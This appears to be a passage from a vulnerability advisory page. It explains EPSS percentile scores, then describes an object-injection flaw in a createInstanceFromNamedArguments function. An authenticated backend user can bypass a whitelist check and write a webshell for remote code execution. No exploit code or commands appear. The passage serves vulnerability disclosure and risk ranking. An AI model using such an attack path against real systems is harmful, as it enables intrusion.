The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

An authenticated backend user could exploit the vulnerability. The vulnerability exists in the createInstanceFromNamedArguments function, where the code insufficiently performs whitelist check which can be bypassed to trigger an object injection. An attacker can leverage this to deserialize an arbitrary payload and write a webshell to the target system, resulting in remote code execution.
